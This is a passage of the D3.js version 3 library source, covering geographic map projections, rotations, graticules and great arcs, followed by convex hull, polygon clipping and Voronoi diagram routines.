return [ point[0] * k + δx, δy - point[1] * k ];
}
function invert(point) {
point = projectRotate.invert((point[0] - δx) / k, (δy - point[1]) / k);
return point && [ point[0] * d3_degrees, point[1] * d3_degrees ];
}
projection.stream = function(output) {
if (stream) stream.valid = false;
stream = d3_geo_projectionRadians(preclip(rotate, projectResample(postclip(output))));
stream.valid = true;
return stream;
};
projection.clipAngle = function(_) {
if (!arguments.length) return clipAngle;
preclip = _ == null ? (clipAngle = _, d3_geo_clipAntimeridian) : d3_geo_clipCircle((clipAngle = +_) * d3_radians);
return invalidate();
};
projection.clipExtent = function(_) {
if (!arguments.length) return clipExtent;
clipExtent = _;
postclip = _ ? d3_geo_clipExtent(_[0][0], _[0][1], _[1][0], _[1][1]) : d3_identity;
return invalidate();
};
projection.scale = function(_) {
if (!arguments.length) return k;
k = +_;
return reset();
};
projection.translate = function(_) {
if (!arguments.length) return [ x, y ];
x = +_[0];
y = +_[1];
return reset();
};
projection.center = function(_) {
if (!arguments.length) return [ λ * d3_degrees, φ * d3_degrees ];
λ = _[0] % 360 * d3_radians;
φ = _[1] % 360 * d3_radians;
return reset();
};
projection.rotate = function(_) {
if (!arguments.length) return [ δλ * d3_degrees, δφ * d3_degrees, δγ * d3_degrees ];
δλ = _[0] % 360 * d3_radians;
δφ = _[1] % 360 * d3_radians;
δγ = _.length > 2 ? _[2] % 360 * d3_radians : 0;
return reset();
};
d3.rebind(projection, projectResample, "precision");
function reset() {
projectRotate = d3_geo_compose(rotate = d3_geo_rotation(δλ, δφ, δγ), project);
var center = project(λ, φ);
δx = x - center[0] * k;
δy = y + center[1] * k;
return invalidate();
}
function invalidate() {
if (stream) stream.valid = false, stream = null;
return projection;
}
return function() {
project = projectAt.apply(this, arguments);
projection.invert = project.invert && invert;
return reset();
};
}
function d3_geo_projectionRadians(stream) {
return d3_geo_transformPoint(stream, function(x, y) {
stream.point(x * d3_radians, y * d3_radians);
});
}
function d3_geo_equirectangular(λ, φ) {
return [ λ, φ ];
}
(d3.geo.equirectangular = function() {
return d3_geo_projection(d3_geo_equirectangular);
}).raw = d3_geo_equirectangular.invert = d3_geo_equirectangular;
d3.geo.rotation = function(rotate) {
rotate = d3_geo_rotation(rotate[0] % 360 * d3_radians, rotate[1] * d3_radians, rotate.length > 2 ? rotate[2] * d3_radians : 0);
function forward(coordinates) {
coordinates = rotate(coordinates[0] * d3_radians, coordinates[1] * d3_radians);
return coordinates[0] *= d3_degrees, coordinates[1] *= d3_degrees, coordinates;
}
forward.invert = function(coordinates) {
coordinates = rotate.invert(coordinates[0] * d3_radians, coordinates[1] * d3_radians);
return coordinates[0] *= d3_degrees, coordinates[1] *= d3_degrees, coordinates;
};
return forward;
};
function d3_geo_identityRotation(λ, φ) {
return [ λ > π ? λ - τ : λ < -π ? λ + τ : λ, φ ];
}
d3_geo_identityRotation.invert = d3_geo_equirectangular;
function d3_geo_rotation(δλ, δφ, δγ) {
return δλ ? δφ || δγ ? d3_geo_compose(d3_geo_rotationλ(δλ), d3_geo_rotationφγ(δφ, δγ)) : d3_geo_rotationλ(δλ) : δφ || δγ ? d3_geo_rotationφγ(δφ, δγ) : d3_geo_identityRotation;
}
function d3_geo_forwardRotationλ(δλ) {
return function(λ, φ) {
return λ += δλ, [ λ > π ? λ - τ : λ < -π ? λ + τ : λ, φ ];
};
}
function d3_geo_rotationλ(δλ) {
var rotation = d3_geo_forwardRotationλ(δλ);
rotation.invert = d3_geo_forwardRotationλ(-δλ);
return rotation;
}
function d3_geo_rotationφγ(δφ, δγ) {
var cosδφ = Math.cos(δφ), sinδφ = Math.sin(δφ), cosδγ = Math.cos(δγ), sinδγ = Math.sin(δγ);
function rotation(λ, φ) {
var cosφ = Math.cos(φ), x = Math.cos(λ) * cosφ, y = Math.sin(λ) * cosφ, z = Math.sin(φ), k = z * cosδφ + x * sinδφ;
return [ Math.atan2(y * cosδγ - k * sinδγ, x * cosδφ - z * sinδφ), d3_asin(k * cosδγ + y * sinδγ) ];
}
rotation.invert = function(λ, φ) {
var cosφ = Math.cos(φ), x = Math.cos(λ) * cosφ, y = Math.sin(λ) * cosφ, z = Math.sin(φ), k = z * cosδγ - y * sinδγ;
return [ Math.atan2(y * cosδγ + z * sinδγ, x * cosδφ + k * sinδφ), d3_asin(k * cosδφ - x * sinδφ) ];
};
return rotation;
}
d3.geo.circle = function() {
var origin = [ 0, 0 ], angle, precision = 6, interpolate;
function circle() {
var center = typeof origin === "function" ? origin.apply(this, arguments) : origin, rotate = d3_geo_rotation(-center[0] * d3_radians, -center[1] * d3_radians, 0).invert, ring = [];
interpolate(null, null, 1, {
point: function(x, y) {
ring.push(x = rotate(x, y));
x[0] *= d3_degrees, x[1] *= d3_degrees;
}
});
return {
type: "Polygon",
coordinates: [ ring ]
};
}
circle.origin = function(x) {
if (!arguments.length) return origin;
origin = x;
return circle;
};
circle.angle = function(x) {
if (!arguments.length) return angle;
interpolate = d3_geo_circleInterpolate((angle = +x) * d3_radians, precision * d3_radians);
return circle;
};
circle.precision = function(_) {
if (!arguments.length) return precision;
interpolate = d3_geo_circleInterpolate(angle * d3_radians, (precision = +_) * d3_radians);
return circle;
};
return circle.angle(90);
};
function d3_geo_circleInterpolate(radius, precision) {
var cr = Math.cos(radius), sr = Math.sin(radius);
return function(from, to, direction, listener) {
var step = direction * precision;
if (from != null) {
from = d3_geo_circleAngle(cr, from);
to = d3_geo_circleAngle(cr, to);
if (direction > 0 ? from < to : from > to) from += direction * τ;
} else {
from = radius + direction * τ;
to = radius - .5 * step;
}
for (var point, t = from; direction > 0 ? t > to : t < to; t -= step) {
listener.point((point = d3_geo_spherical([ cr, -sr * Math.cos(t), -sr * Math.sin(t) ]))[0], point[1]);
}
};
}
function d3_geo_circleAngle(cr, point) {
var a = d3_geo_cartesian(point);
a[0] -= cr;
d3_geo_cartesianNormalize(a);
var angle = d3_acos(-a[1]);
return ((-a[2] < 0 ? -angle : angle) + 2 * Math.PI - ε) % (2 * Math.PI);
}
d3.geo.distance = function(a, b) {
var Δλ = (b[0] - a[0]) * d3_radians, φ0 = a[1] * d3_radians, φ1 = b[1] * d3_radians, sinΔλ = Math.sin(Δλ), cosΔλ = Math.cos(Δλ), sinφ0 = Math.sin(φ0), cosφ0 = Math.cos(φ0), sinφ1 = Math.sin(φ1), cosφ1 = Math.cos(φ1), t;
return Math.atan2(Math.sqrt((t = cosφ1 * sinΔλ) * t + (t = cosφ0 * sinφ1 - sinφ0 * cosφ1 * cosΔλ) * t), sinφ0 * sinφ1 + cosφ0 * cosφ1 * cosΔλ);
};
d3.geo.graticule = function() {
var x1, x0, X1, X0, y1, y0, Y1, Y0, dx = 10, dy = dx, DX = 90, DY = 360, x, y, X, Y, precision = 2.5;
function graticule() {
return {
type: "MultiLineString",
coordinates: lines()
};
}
function lines() {
return d3.range(Math.ceil(X0 / DX) * DX, X1, DX).map(X).concat(d3.range(Math.ceil(Y0 / DY) * DY, Y1, DY).map(Y)).concat(d3.range(Math.ceil(x0 / dx) * dx, x1, dx).filter(function(x) {
return abs(x % DX) > ε;
}).map(x)).concat(d3.range(Math.ceil(y0 / dy) * dy, y1, dy).filter(function(y) {
return abs(y % DY) > ε;
}).map(y));
}
graticule.lines = function() {
return lines().map(function(coordinates) {
return {
type: "LineString",
coordinates: coordinates
};
});
};
graticule.outline = function() {
return {
type: "Polygon",
coordinates: [ X(X0).concat(Y(Y1).slice(1), X(X1).reverse().slice(1), Y(Y0).reverse().slice(1)) ]
};
};
graticule.extent = function(_) {
if (!arguments.length) return graticule.minorExtent();
return graticule.majorExtent(_).minorExtent(_);
};
graticule.majorExtent = function(_) {
if (!arguments.length) return [ [ X0, Y0 ], [ X1, Y1 ] ];
X0 = +_[0][0], X1 = +_[1][0];
Y0 = +_[0][1], Y1 = +_[1][1];
if (X0 > X1) _ = X0, X0 = X1, X1 = _;
if (Y0 > Y1) _ = Y0, Y0 = Y1, Y1 = _;
return graticule.precision(precision);
};
graticule.minorExtent = function(_) {
if (!arguments.length) return [ [ x0, y0 ], [ x1, y1 ] ];
x0 = +_[0][0], x1 = +_[1][0];
y0 = +_[0][1], y1 = +_[1][1];
if (x0 > x1) _ = x0, x0 = x1, x1 = _;
if (y0 > y1) _ = y0, y0 = y1, y1 = _;
return graticule.precision(precision);
};
graticule.step = function(_) {
if (!arguments.length) return graticule.minorStep();
return graticule.majorStep(_).minorStep(_);
};
graticule.majorStep = function(_) {
if (!arguments.length) return [ DX, DY ];
DX = +_[0], DY = +_[1];
return graticule;
};
graticule.minorStep = function(_) {
if (!arguments.length) return [ dx, dy ];
dx = +_[0], dy = +_[1];
return graticule;
};
graticule.precision = function(_) {
if (!arguments.length) return precision;
precision = +_;
x = d3_geo_graticuleX(y0, y1, 90);
y = d3_geo_graticuleY(x0, x1, precision);
X = d3_geo_graticuleX(Y0, Y1, 90);
Y = d3_geo_graticuleY(X0, X1, precision);
return graticule;
};
return graticule.majorExtent([ [ -180, -90 + ε ], [ 180, 90 - ε ] ]).minorExtent([ [ -180, -80 - ε ], [ 180, 80 + ε ] ]);
};
function d3_geo_graticuleX(y0, y1, dy) {
var y = d3.range(y0, y1 - ε, dy).concat(y1);
return function(x) {
return y.map(function(y) {
return [ x, y ];
});
};
}
function d3_geo_graticuleY(x0, x1, dx) {
var x = d3.range(x0, x1 - ε, dx).concat(x1);
return function(y) {
return x.map(function(x) {
return [ x, y ];
});
};
}
function d3_source(d) {
return d.source;
}
function d3_target(d) {
return d.target;
}
d3.geo.greatArc = function() {
var source = d3_source, source_, target = d3_target, target_;
function greatArc() {
return {
type: "LineString",
coordinates: [ source_ || source.apply(this, arguments), target_ || target.apply(this, arguments) ]
};
}
greatArc.distance = function() {
return d3.geo.distance(source_ || source.apply(this, arguments), target_ || target.apply(this, arguments));
};
greatArc.source = function(_) {
if (!arguments.length) return source;
source = _, source_ = typeof _ === "function" ? null : _;
return greatArc;
};
greatArc.target = function(_) {
if (!arguments.length) return target;
target = _, target_ = typeof _ === "function" ? null : _;
return greatArc;
};
greatArc.precision = function() {
return arguments.length ? greatArc : 0;
};
return greatArc;
};
d3.geo.interpolate = function(source, target) {
return d3_geo_interpolate(source[0] * d3_radians, source[1] * d3_radians, target[0] * d3_radians, target[1] * d3_radians);
};
function d3_geo_interpolate(x0, y0, x1, y1) {
var cy0 = Math.cos(y0), sy0 = Math.sin(y0), cy1 = Math.cos(y1), sy1 = Math.sin(y1), kx0 = cy0 * Math.cos(x0), ky0 = cy0 * Math.sin(x0), kx1 = cy1 * Math.cos(x1), ky1 = cy1 * Math.sin(x1), d = 2 * Math.asin(Math.sqrt(d3_haversin(y1 - y0) + cy0 * cy1 * d3_haversin(x1 - x0))), k = 1 / Math.sin(d);
var interpolate = d ? function(t) {
var B = Math.sin(t *= d) * k, A = Math.sin(d - t) * k, x = A * kx0 + B * kx1, y = A * ky0 + B * ky1, z = A * sy0 + B * sy1;
return [ Math.atan2(y, x) * d3_degrees, Math.atan2(z, Math.sqrt(x * x + y * y)) * d3_degrees ];
} : function() {
return [ x0 * d3_degrees, y0 * d3_degrees ];
};
interpolate.distance = d;
return interpolate;
}
d3.geo.length = function(object) {
d3_geo_lengthSum = 0;
d3.geo.stream(object, d3_geo_length);
return d3_geo_lengthSum;
};
var d3_geo_lengthSum;
var d3_geo_length = {
sphere: d3_noop,
point: d3_noop,
lineStart: d3_geo_lengthLineStart,
lineEnd: d3_noop,
polygonStart: d3_noop,
polygonEnd: d3_noop
};
function d3_geo_lengthLineStart() {
var λ0, sinφ0, cosφ0;
d3_geo_length.point = function(λ, φ) {
λ0 = λ * d3_radians, sinφ0 = Math.sin(φ *= d3_radians), cosφ0 = Math.cos(φ);
d3_geo_length.point = nextPoint;
};
d3_geo_length.lineEnd = function() {
d3_geo_length.point = d3_geo_length.lineEnd = d3_noop;
};
function nextPoint(λ, φ) {
var sinφ = Math.sin(φ *= d3_radians), cosφ = Math.cos(φ), t = abs((λ *= d3_radians) - λ0), cosΔλ = Math.cos(t);
d3_geo_lengthSum += Math.atan2(Math.sqrt((t = cosφ * Math.sin(t)) * t + (t = cosφ0 * sinφ - sinφ0 * cosφ * cosΔλ) * t), sinφ0 * sinφ + cosφ0 * cosφ * cosΔλ);
λ0 = λ, sinφ0 = sinφ, cosφ0 = cosφ;
}
}
function d3_geo_azimuthal(scale, angle) {
function azimuthal(λ, φ) {
var cosλ = Math.cos(λ), cosφ = Math.cos(φ), k = scale(cosλ * cosφ);
return [ k * cosφ * Math.sin(λ), k * Math.sin(φ) ];
}
azimuthal.invert = function(x, y) {
var ρ = Math.sqrt(x * x + y * y), c = angle(ρ), sinc = Math.sin(c), cosc = Math.cos(c);
return [ Math.atan2(x * sinc, ρ * cosc), Math.asin(ρ && y * sinc / ρ) ];
};
return azimuthal;
}
var d3_geo_azimuthalEqualArea = d3_geo_azimuthal(function(cosλcosφ) {
return Math.sqrt(2 / (1 + cosλcosφ));
}, function(ρ) {
return 2 * Math.asin(ρ / 2);
});
(d3.geo.azimuthalEqualArea = function() {
return d3_geo_projection(d3_geo_azimuthalEqualArea);
}).raw = d3_geo_azimuthalEqualArea;
var d3_geo_azimuthalEquidistant = d3_geo_azimuthal(function(cosλcosφ) {
var c = Math.acos(cosλcosφ);
return c && c / Math.sin(c);
}, d3_identity);
(d3.geo.azimuthalEquidistant = function() {
return d3_geo_projection(d3_geo_azimuthalEquidistant);
}).raw = d3_geo_azimuthalEquidistant;
function d3_geo_conicConformal(φ0, φ1) {
var cosφ0 = Math.cos(φ0), t = function(φ) {
return Math.tan(π / 4 + φ / 2);
}, n = φ0 === φ1 ? Math.sin(φ0) : Math.log(cosφ0 / Math.cos(φ1)) / Math.log(t(φ1) / t(φ0)), F = cosφ0 * Math.pow(t(φ0), n) / n;
if (!n) return d3_geo_mercator;
function forward(λ, φ) {
if (F > 0) {
if (φ < -halfπ + ε) φ = -halfπ + ε;
} else {
if (φ > halfπ - ε) φ = halfπ - ε;
}
var ρ = F / Math.pow(t(φ), n);
return [ ρ * Math.sin(n * λ), F - ρ * Math.cos(n * λ) ];
}
forward.invert = function(x, y) {
var ρ0_y = F - y, ρ = d3_sgn(n) * Math.sqrt(x * x + ρ0_y * ρ0_y);
return [ Math.atan2(x, ρ0_y) / n, 2 * Math.atan(Math.pow(F / ρ, 1 / n)) - halfπ ];
};
return forward;
}
(d3.geo.conicConformal = function() {
return d3_geo_conic(d3_geo_conicConformal);
}).raw = d3_geo_conicConformal;
function d3_geo_conicEquidistant(φ0, φ1) {
var cosφ0 = Math.cos(φ0), n = φ0 === φ1 ? Math.sin(φ0) : (cosφ0 - Math.cos(φ1)) / (φ1 - φ0), G = cosφ0 / n + φ0;
if (abs(n) < ε) return d3_geo_equirectangular;
function forward(λ, φ) {
var ρ = G - φ;
return [ ρ * Math.sin(n * λ), G - ρ * Math.cos(n * λ) ];
}
forward.invert = function(x, y) {
var ρ0_y = G - y;
return [ Math.atan2(x, ρ0_y) / n, G - d3_sgn(n) * Math.sqrt(x * x + ρ0_y * ρ0_y) ];
};
return forward;
}
(d3.geo.conicEquidistant = function() {
return d3_geo_conic(d3_geo_conicEquidistant);
}).raw = d3_geo_conicEquidistant;
var d3_geo_gnomonic = d3_geo_azimuthal(function(cosλcosφ) {
return 1 / cosλcosφ;
}, Math.atan);
(d3.geo.gnomonic = function() {
return d3_geo_projection(d3_geo_gnomonic);
}).raw = d3_geo_gnomonic;
function d3_geo_mercator(λ, φ) {
return [ λ, Math.log(Math.tan(π / 4 + φ / 2)) ];
}
d3_geo_mercator.invert = function(x, y) {
return [ x, 2 * Math.atan(Math.exp(y)) - halfπ ];
};
function d3_geo_mercatorProjection(project) {
var m = d3_geo_projection(project), scale = m.scale, translate = m.translate, clipExtent = m.clipExtent, clipAuto;
m.scale = function() {
var v = scale.apply(m, arguments);
return v === m ? clipAuto ? m.clipExtent(null) : m : v;
};
m.translate = function() {
var v = translate.apply(m, arguments);
return v === m ? clipAuto ? m.clipExtent(null) : m : v;
};
m.clipExtent = function(_) {
var v = clipExtent.apply(m, arguments);
if (v === m) {
if (clipAuto = _ == null) {
var k = π * scale(), t = translate();
clipExtent([ [ t[0] - k, t[1] - k ], [ t[0] + k, t[1] + k ] ]);
}
} else if (clipAuto) {
v = null;
}
return v;
};
return m.clipExtent(null);
}
(d3.geo.mercator = function() {
return d3_geo_mercatorProjection(d3_geo_mercator);
}).raw = d3_geo_mercator;
var d3_geo_orthographic = d3_geo_azimuthal(function() {
return 1;
}, Math.asin);
(d3.geo.orthographic = function() {
return d3_geo_projection(d3_geo_orthographic);
}).raw = d3_geo_orthographic;
var d3_geo_stereographic = d3_geo_azimuthal(function(cosλcosφ) {
return 1 / (1 + cosλcosφ);
}, function(ρ) {
return 2 * Math.atan(ρ);
});
(d3.geo.stereographic = function() {
return d3_geo_projection(d3_geo_stereographic);
}).raw = d3_geo_stereographic;
function d3_geo_transverseMercator(λ, φ) {
return [ Math.log(Math.tan(π / 4 + φ / 2)), -λ ];
}
d3_geo_transverseMercator.invert = function(x, y) {
return [ -y, 2 * Math.atan(Math.exp(x)) - halfπ ];
};
(d3.geo.transverseMercator = function() {
var projection = d3_geo_mercatorProjection(d3_geo_transverseMercator), center = projection.center, rotate = projection.rotate;
projection.center = function(_) {
return _ ? center([ -_[1], _[0] ]) : (_ = center(), [ _[1], -_[0] ]);
};
projection.rotate = function(_) {
return _ ? rotate([ _[0], _[1], _.length > 2 ? _[2] + 90 : 90 ]) : (_ = rotate(),
[ _[0], _[1], _[2] - 90 ]);
};
return rotate([ 0, 0, 90 ]);
}).raw = d3_geo_transverseMercator;
d3.geom = {};
function d3_geom_pointX(d) {
return d[0];
}
function d3_geom_pointY(d) {
return d[1];
}
d3.geom.hull = function(vertices) {
var x = d3_geom_pointX, y = d3_geom_pointY;
if (arguments.length) return hull(vertices);
function hull(data) {
if (data.length < 3) return [];
var fx = d3_functor(x), fy = d3_functor(y), i, n = data.length, points = [], flippedPoints = [];
for (i = 0; i < n; i++) {
points.push([ +fx.call(this, data[i], i), +fy.call(this, data[i], i), i ]);
}
points.sort(d3_geom_hullOrder);
for (i = 0; i < n; i++) flippedPoints.push([ points[i][0], -points[i][1] ]);
var upper = d3_geom_hullUpper(points), lower = d3_geom_hullUpper(flippedPoints);
var skipLeft = lower[0] === upper[0], skipRight = lower[lower.length - 1] === upper[upper.length - 1], polygon = [];
for (i = upper.length - 1; i >= 0; --i) polygon.push(data[points[upper[i]][2]]);
for (i = +skipLeft; i < lower.length - skipRight; ++i) polygon.push(data[points[lower[i]][2]]);
return polygon;
}
hull.x = function(_) {
return arguments.length ? (x = _, hull) : x;
};
hull.y = function(_) {
return arguments.length ? (y = _, hull) : y;
};
return hull;
};
function d3_geom_hullUpper(points) {
var n = points.length, hull = [ 0, 1 ], hs = 2;
for (var i = 2; i < n; i++) {
while (hs > 1 && d3_cross2d(points[hull[hs - 2]], points[hull[hs - 1]], points[i]) <= 0) --hs;
hull[hs++] = i;
}
return hull.slice(0, hs);
}
function d3_geom_hullOrder(a, b) {
return a[0] - b[0] || a[1] - b[1];
}
d3.geom.polygon = function(coordinates) {
d3_subclass(coordinates, d3_geom_polygonPrototype);
return coordinates;
};
var d3_geom_polygonPrototype = d3.geom.polygon.prototype = [];
d3_geom_polygonPrototype.area = function() {
var i = -1, n = this.length, a, b = this[n - 1], area = 0;
while (++i < n) {
a = b;
b = this[i];
area += a[1] * b[0] - a[0] * b[1];
}
return area * .5;
};
d3_geom_polygonPrototype.centroid = function(k) {
var i = -1, n = this.length, x = 0, y = 0, a, b = this[n - 1], c;
if (!arguments.length) k = -1 / (6 * this.area());
while (++i < n) {
a = b;
b = this[i];
c = a[0] * b[1] - b[0] * a[1];
x += (a[0] + b[0]) * c;
y += (a[1] + b[1]) * c;
}
return [ x * k, y * k ];
};
d3_geom_polygonPrototype.clip = function(subject) {
var input, closed = d3_geom_polygonClosed(subject), i = -1, n = this.length - d3_geom_polygonClosed(this), j, m, a = this[n - 1], b, c, d;
while (++i < n) {
input = subject.slice();
subject.length = 0;
b = this[i];
c = input[(m = input.length - closed) - 1];
j = -1;
while (++j < m) {
d = input[j];
if (d3_geom_polygonInside(d, a, b)) {
if (!d3_geom_polygonInside(c, a, b)) {
subject.push(d3_geom_polygonIntersect(c, d, a, b));
}
subject.push(d);
} else if (d3_geom_polygonInside(c, a, b)) {
subject.push(d3_geom_polygonIntersect(c, d, a, b));
}
c = d;
}
if (closed) subject.push(subject[0]);
a = b;
}
return subject;
};
function d3_geom_polygonInside(p, a, b) {
return (b[0] - a[0]) * (p[1] - a[1]) < (b[1] - a[1]) * (p[0] - a[0]);
}
function d3_geom_polygonIntersect(c, d, a, b) {
var x1 = c[0], x3 = a[0], x21 = d[0] - x1, x43 = b[0] - x3, y1 = c[1], y3 = a[1], y21 = d[1] - y1, y43 = b[1] - y3, ua = (x43 * (y1 - y3) - y43 * (x1 - x3)) / (y43 * x21 - x43 * y21);
return [ x1 + ua * x21, y1 + ua * y21 ];
}
function d3_geom_polygonClosed(coordinates) {
var a = coordinates[0], b = coordinates[coordinates.length - 1];
return !(a[0] - b[0] || a[1] - b[1]);
}
var d3_geom_voronoiEdges, d3_geom_voronoiCells, d3_geom_voronoiBeaches, d3_geom_voronoiBeachPool = [], d3_geom_voronoiFirstCircle, d3_geom_voronoiCircles, d3_geom_voronoiCirclePool = [];
function d3_geom_voronoiBeach() {
d3_geom_voronoiRedBlackNode(this);
this.edge = this.site = this.circle = null;
}
function d3_geom_voronoiCreateBeach(site) {
var beach = d3_geom_voronoiBeachPool.pop() || new d3_geom_voronoiBeach();
beach.site = site;
return beach;
}
function d3_geom_voronoiDetachBeach(beach) {
d3_geom_voronoiDetachCircle(beach);
d3_geom_voronoiBeaches.remove(beach);
d3_geom_voronoiBeachPool.push(beach);
d3_geom_voronoiRedBlackNode(beach);
}
function d3_geom_voronoiRemoveBeach(beach) {
var circle = beach.circle, x = circle.x, y = circle.cy, vertex = {
x: x,
y: y
}, previous = beach.P, next = beach.N, disappearing = [ beach ];
d3_geom_voronoiDetachBeach(beach);
var lArc = previous;
while (lArc.circle && abs(x - lArc.circle.x) < ε && abs(y - lArc.circle.cy) < ε) {
previous = lArc.P;
disappearing.unshift(lArc);
d3_geom_voronoiDetachBeach(lArc);
lArc = previous;
}
disappearing.unshift(lArc);
d3_geom_voronoiDetachCircle(lArc);
var rArc = next;
while (rArc.circle && abs(x - rArc.circle.x) < ε && abs(y - rArc.circle.cy) < ε) {
next = rArc.N;
disappearing.push(rArc);
d3_geom_voronoiDetachBeach(rArc);
rArc = next;
}
disappearing.push(rArc);
d3_geom_voronoiDetachCircle(rArc);
var nArcs = disappearing.length, iArc;
for (iArc = 1; iArc < nArcs; ++iArc) {
rArc = disappearing[iArc];
lArc = disappearing[iArc - 1];
d3_geom_voronoiSetEdgeEnd(rArc.edge, lArc.site, rArc.site, vertex);
}
lArc = disappearing[0];
rArc = disappearing[nArcs - 1];
rArc.edge = d3_geom_voronoiCreateEdge(lArc.site, rArc.site, null, vertex);
d3_geom_voronoiAttachCircle(lArc);
d3_geom_voronoiAttachCircle(rArc);
}
function d3_geom_voronoiAddBeach(site) {
var x = site.x, directrix = site.y, lArc, rArc, dxl, dxr, node = d3_geom_voronoiBeaches._;
while (node) {
dxl = d3_geom_voronoiLeftBreakPoint(node, directrix) - x;
if (dxl > ε) node = node.L; else {
dxr = x - d3_geom_voronoiRightBreakPoint(node, directrix);
if (dxr > ε) {
if (!node.R) {
lArc = node;
break;
}
node = node.R;
} else {
if (dxl > -ε) {
lArc = node.P;
rArc = node;
} else if (dxr > -ε) {
lArc = node;
rArc = node.N;
} else {
lArc = rArc = node;
}
break;
}
}
}
var newArc = d3_geom_voronoiCreateBeach(site);
d3_geom_voronoiBeaches.insert(lArc, newArc);
if (!lArc && !rArc) return;
if (lArc === rArc) {
d3_geom_voronoiDetachCircle(lArc);
rArc = d3_geom_voronoiCreateBeach(lArc.site);
d3_geom_voronoiBeaches.insert(newArc, rArc);
newArc.edge = rArc.edge = d3_geom_voronoiCreateEdge(lArc.site, newArc.site);
d3_geom_voronoiAttachCircle(lArc);
d3_geom_voronoiAttachCircle(rArc);
return;
}
if (!rArc) {
newArc.edge = d3_geom_voronoiCreateEdge(lArc.site, newArc.site);
return;
}
d3_geom_voronoiDetachCircle(lArc);
d3_geom_voronoiDetachCircle(rArc);
var lSite = lArc.site, ax = lSite.x, ay = lSite.y, bx = site.x - ax, by = site.y - ay, rSite = rArc.site, cx = rSite.x - ax, cy = rSite.y - ay, d = 2 * (bx * cy - by * cx), hb = bx * bx + by * by, hc = cx * cx + cy * cy, vertex = {
x: (cy * hb - by * hc) / d + ax,
y: (bx * hc - cx * hb) / d + ay
};
d3_geom_voronoiSetEdgeEnd(rArc.edge, lSite, rSite, vertex);
newArc.edge = d3_geom_voronoiCreateEdge(lSite, site, null, vertex);
rArc.edge = d3_geom_voronoiCreateEdge(site, rSite, null, vertex);
d3_geom_voronoiAttachCircle(lArc);
d3_geom_voronoiAttachCircle(rArc);
}
function d3_geom_voronoiLeftBreakPoint(arc, directrix) {
var site = arc.site, rfocx = site.x, rfocy = site.y, pby2 = rfocy - directrix;
if (!pby2) return rfocx;
var lArc = arc.P;
if (!lArc) return -Infinity;
site = lArc.site;
var lfocx = site.x, lfocy = site.y, plby2 = lfocy - directrix;
if (!plby2) return lfocx;
var hl = lfocx - rfocx, aby2 = 1 / pby2 - 1 / plby2, b = hl / plby2;
if (aby2) return (-b + Math.sqrt(b * b - 2 * aby2 * (hl * hl / (-2 * plby2) - lfocy + plby2 / 2 + rfocy - pby2 / 2))) / aby2 + rfocx;
return (rfocx + lfocx) / 2;
}
function d3_geom_voronoiRightBreakPoint(arc, directrix) {
var rArc = arc.N;
if (rArc) return d3_geom_voronoiLeftBreakPoint(rArc, directrix);
var site = arc.site;
return site.y === directrix ? site.x : Infinity;
}
function d3_geom_voronoiCell(site) {
this.site = site;
this.edges = [];
}
d3_geom_voronoiCell.prototype.prepare = function() {
var halfEdges = this.edges, iHalfEdge = halfEdges.length, edge;
while (iHalfEdge--) {
edge = halfEdges[iHalfEdge].edge;
if (!edge.b || !edge.a) halfEdges.splice(iHalfEdge, 1);
}
halfEdges.sort(d3_geom_voronoiHalfEdgeOrder);
return halfEdges.length;
};
function d3_geom_voronoiCloseCells(extent) {
var x0 = extent[0][0], x1 = extent[1][0], y0 = extent[0][1], y1 = extent[1][1], x2, y2, x3, y3, cells = d3_geom_voronoiCells, iCell = cells.length, cell, iHalfEdge, halfEdges, nHalfEdges, start, end;
while (iCell--) {
cell = cells[iCell];
if (!cell || !cell.prepare()) continue;
halfEdges = cell.edges;
nHalfEdges = halfEdges.length;
iHalfEdge = 0;
while (iHalfEdge < nHalfEdges) {
end = halfEdges[iHalfEdge].end(), x3 = end.x, y3 = end.y;
start = halfEdges[++iHalfEdge % nHalfEdges].start(), x2 = start.x, y2 = start.y;
if (abs(x3 - x2) > ε || abs(y3 - y2) > ε) {
halfEdges.splice(iHalfEdge, 0, new d3_geom_voronoiHalfEdge(d3_geom_voronoiCreateBorderEdge(cell.site, end, abs(x3 - x0) < ε && y1 - y3 > ε ? {
x: x0,
y: abs(x2 - x0) < ε ? y2 : y1
} : abs(y3 - y1) < ε && x1 - x3 > ε ? {
x: abs(y2 - y1) < ε ? x2 : x1,
y: y1
} : abs(x3 - x1) < ε && y3 - y0 > ε ? {
x: x1,
y: abs(x2 - x1) < ε ? y2 : y0
} : abs(y3 - y0) < ε && x3 - x0 > ε ? {
x: abs(y2 - y0) < ε ? x2 : x0,
y: y0
} : null), cell.site, null));
++nHalfEdges;
}
}
}
}
function d3_geom_voronoiHalfEdgeOrder(a, b) {
return b.angle - a.angle;
}
function d3_geom_voronoiCircle() {
d3_geom_voronoiRedBlackNode(this);
this.x = this.y = this.arc = this.site = this.cy = null;
}
function d3_geom_voronoiAttachCircle(arc) {
var lArc = arc.P, rArc = arc.N;
if (!lArc || !rArc) return;
var lSite = lArc.site, cSite = arc.site, rSite = rArc.site;
if (lSite === rSite) return;
var bx = cSite.x, by = cSite.y, ax = lSite.x - bx, ay = lSite.y - by, cx = rSite.x - bx, cy = rSite.y - by;
var d = 2 * (ax * cy - ay * cx);
if (d >= -ε2) return;
var ha = ax * ax + ay * ay, hc = cx * cx + cy * cy, x = (cy * ha - ay * hc) / d, y = (ax * hc - cx * ha) / d, cy = y + by;
var circle = d3_geom_voronoiCirclePool.pop() || new d3_geom_voronoiCircle();
circle.arc = arc;
circle.site = cSite;
circle.x = x + bx;
circle.y = cy + Math.sqrt(x * x + y * y);
circle.cy = cy;
arc.circle = circle;
var before = null, node = d3_geom_voronoiCircles._;
while (node) {
if (circle.y < node.y || circle.y === node.y && circle.x <= node.x) {
if (node.L) node = node.L; else {
before = node.P;
break;
}
} else {
if (node.R) node = node.R; else {
before = node;
break;
}
}
}
d3_geom_voronoiCircles.insert(before, circle);
if (!before) d3_geom_voronoiFirstCircle = circle;
}
function d3_geom_voronoiDetachCircle(arc) {
var circle = arc.circle;
if (circle) {
if (!circle.P) d3_geom_voronoiFirstCircle = circle.N;
d3_geom_voronoiCircles.remove(circle);
d3_geom_voronoiCirclePool.push(circle);
d3_geom_voronoiRedBlackNode(circle);
arc.circle = null;
}
}
function d3_geom_voronoiClipEdges(extent) {
var edges = d3_geom_voronoiEdges, clip = d3_geom_clipLine(extent[0][0], extent[0][1], extent[1][0], extent[1][1]), i = edges.length, e;
while (i--) {
e = edges[i];
if (!d3_geom_voronoiConnectEdge(e, extent) || !clip(e) || abs(e.a.x - e.b.x) < ε && abs(e.a.y - e.b.y) < ε) {
e.a = e.b = null;
edges.splice(i, 1);
}
}
}
